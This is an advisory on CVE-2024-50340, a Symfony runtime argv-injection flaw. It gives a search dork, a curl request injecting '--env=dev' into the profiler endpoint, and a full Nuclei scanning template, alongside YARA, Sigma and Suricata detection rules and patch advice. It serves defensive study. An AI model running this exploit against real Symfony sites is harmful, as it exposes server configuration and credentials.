CVE-2024-50340

Executive Summary

CVE-2024-50340 is a high-severity vulnerability in the Symfony PHP framework's symfony/runtime module. The flaw allows an unauthenticated attacker to manipulate the application's environment or debug mode by injecting specially crafted query string parameters when the PHP register_argv_argc directive is enabled. This can lead to unauthorized access to sensitive information, such as PHP configuration details via the Symfony Profiler, and potentially enable further exploitation. The vulnerability affects all versions prior to 5.4.46, 6.4.14, and 7.1.7. A public proof-of-concept (PoC) and a Nuclei template are available, increasing the risk of active exploitation.

Supply Chain & Package Security

This vulnerability resides in the symfony/runtime package, a core component of the Symfony PHP framework. It is distributed via Composer (Packagist). Organizations using Symfony should verify their dependency versions and ensure they are updated to the patched releases. The attack vector relies on a non-default PHP configuration (register_argv_argc = on), which is often enabled in shared hosting environments or certain Docker configurations.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
• Base Score: 7.3 (High)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: Low (C:L)
• Integrity Impact: Low (I:L)
• Availability Impact: Low (A:L)

The CVSS score reflects the ease of exploitation and the potential for information disclosure, but the impact is limited to low-level confidentiality, integrity, and availability losses.

Deep Dive & Mechanics

The vulnerability exploits the interaction between PHP's register_argv_argv directive and Symfony's runtime component. When register_argv_argc is enabled, PHP populates $_SERVER['argv'] and $_SERVER['argc'] with command-line arguments from the query string for non-CLI SAPI (Server API) requests. The SymfonyRuntime class, responsible for bootstrapping the Symfony kernel, uses these values to determine the application environment (e.g., dev, prod) and debug mode.

An attacker can craft a URL like http://target.com/_profiler/phpinfo?+--env=dev to inject the --env=dev argument. This forces the kernel to run in development mode, enabling the Symfony Profiler and debug toolbar. The profiler exposes sensitive information, including PHP configuration (phpinfo()), database credentials, and application internals.

The root cause is that SymfonyRuntime did not validate the source of argv values, trusting them even for non-CLI requests. The patch introduces a check to ignore argv for non-SAPI runtimes, preventing this injection.

Vulnerable vs. Patched Code

Vulnerable Code (simplified):

// In SymfonyRuntime
if (isset($_SERVER['argv'])) {
    $input = new ArgvInput();
    // Uses argv directly without checking SAPI type
    $env = $input->getParameterOption('--env', 'dev');
}

Patched Code (simplified):

// In SymfonyRuntime
if (isset($_SERVER['argv']) && PHP_SAPI === 'cli') {
    $input = new ArgvInput();
    $env = $input->getParameterOption('--env', 'dev');
} else {
    // Fallback to default or request-based environment
    $env = 'prod';
}

The patch adds a check for PHP_SAPI === 'cli' to ensure argv is only used for command-line requests.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Target running Symfony with register_argv_argc = On in php.ini.
• Vulnerable version of symfony/runtime (< 5.4.46, < 6.4.14, < 7.1.7).

Exploitation Steps:

1. Identify a Symfony application. Use Shodan or FOFA with the dork body="<div id=\"symfony\">".
2. Send a crafted request to the Symfony Profiler endpoint:

   curl "http://target.com/_profiler/phpinfo?+--env=dev"
   

3. If successful, the response will contain PHP configuration details, confirming the vulnerability.

PoC using Nuclei: The provided Nuclei template automates detection. Run it with:

nuclei -t CVE-2024-50340.yaml -u http://target.com

Nuclei Template:

id: CVE-2024-50340

info:
  name: Symfony Profiler - Remote Access via Injected Arguments
  author: DhiyaneshDK
  severity: high
  description: |
    symfony/runtime is a module for the Symphony PHP framework which enables decoupling PHP applications from global state. When the `register_argv_argc` php directive is set to `on` , and users call any URL with a special crafted query string, they are able to change the environment or debug mode used by the kernel when handling the request. As of versions 5.4.46, 6.4.14, and 7.1.7 the `SymfonyRuntime` now ignores the `argv` values for non-SAPI PHP runtimes.
  impact: |
    Attackers can exploit vulnerabilities to compromise the system.
  remediation: |
    Update to the latest patched version addressing CVE-2024-50340.
  reference:
    - https://github.com/symfony/symfony/commit/a77b308c3f179ed7c8a8bc295f82b2d6ee3493fa
    - https://github.com/symfony/symfony/security/advisories/GHSA-x8vp-gf4q-mw5j
    - https://blog.nollium.com/cve-2024-50340-remote-access-to-symfony-profiler-via-injected-arguments-d2f14b4f6ad7
    - https://github.com/nollium/CVE-2024-50340-eos-exploit
    - https://nvd.nist.gov/vuln/detail/CVE-2024-50340
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
    cvss-score: 7.3
    cve-id: CVE-2024-50340
    cwe-id: CWE-74
    epss-score: 0.85618
    epss-percentile: 0.99379
  metadata:
    verified: true
    max-request: 1
    fofa-query: 'body="<div id=\"symfony\">" || header="Set-Cookie: symfony"'
  tags: cve,cve2024,symfony,phpinfo,vuln

flow: http(1) && http(2)

http:
  - method: GET
    path:
      - "{{BaseURL}}"

    matchers:
      - type: dsl
        dsl:
          - 'contains(tolower(body), "symfony")'
        internal: true

  - method: GET
    path:
      - "{{BaseURL}}/_profiler/phpinfo?+--env=dev"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "PHP Extension"
          - "PHP Version"
        condition: and

      - type: status
        status:
          - 200

    extractors:
      - type: regex
        part: body
        group: 1
        regex:
          - '>PHP Version <\/td><td class="v">([0-9.]+)'

Blue Team (Detection & Hardening)

Detection:

• Monitor web server logs for requests to /_profiler/ endpoints with query strings containing --env or --debug.
• Look for unusual query string patterns like ?+--env=dev (note the leading + which is URL-encoded space).

Hardening:

• Disable register_argv_argc in php.ini if not required: register_argv_argc = Off.
• Restrict access to the Symfony Profiler (e.g., via IP whitelisting or .htaccess).
• Apply the patch by upgrading to the latest Symfony version.

Indicators of Compromise (IOCs)

• URL Patterns: /_profiler/phpinfo?+--env=dev, /_profiler/phpinfo?+--env=prod
• HTTP Response: Contains PHP Extension, PHP Version, and other phpinfo() output.
• Log Entries: Access logs showing requests to /_profiler/ with unusual query strings.
• File System: Presence of debug toolbar or profiler data in production environments.

Detection Engineering

YARA Rule

rule CVE_2024_50340_Symfony_Profiler_Exploit {
    meta:
        description = "Detects exploitation attempts of CVE-2024-50340 via query string injection"
        author = "Valters IT"
        date = "2025-04-10"
        severity = "high"
    strings:
        $query1 = "?+--env="
        $query2 = "?+--debug="
        $profiler_path = "/_profiler/"
    condition:
        any of ($query*) and $profiler_path
}

Sigma Rule

title: Symfony Profiler Exploitation via Injected Arguments
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects HTTP requests attempting to exploit CVE-2024-50340 by injecting environment arguments into Symfony Profiler endpoints.
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains: 
            - '?+--env='
            - '?+--debug='
        cs-uri-stem|contains: '/_profiler/'
    condition: selection
falsepositives:
    - Legitimate debugging activities in development environments
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-50340 Symfony Profiler Injection Attempt"; flow:to_server,established; content:"/_profiler/"; http_uri; content:"?+--env="; http_uri; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade symfony/runtime to version 5.4.46, 6.4.14, or 7.1.7 or later.
2. Set register_argv_argc = Off in php.ini if not required.
3. Restrict access to the Symfony Profiler using firewall rules or .htaccess:

   <LocationMatch "/_profiler/">
       Require ip 127.0.0.1
   </LocationMatch>
   

Long-term Measures:

• Implement Web Application Firewall (WAF) rules to block suspicious query strings.
• Regularly audit PHP configurations and disable unnecessary directives.
• Monitor for unusual access patterns to debug endpoints.

Valters IT Signature

This report was generated by Valters IT, an elite DevSecOps and Cyber Threat Intelligence expert. For further assistance, contact [valters@example.com].

{/* [Security Hash: 888CC26937A11C818023F0B8] */}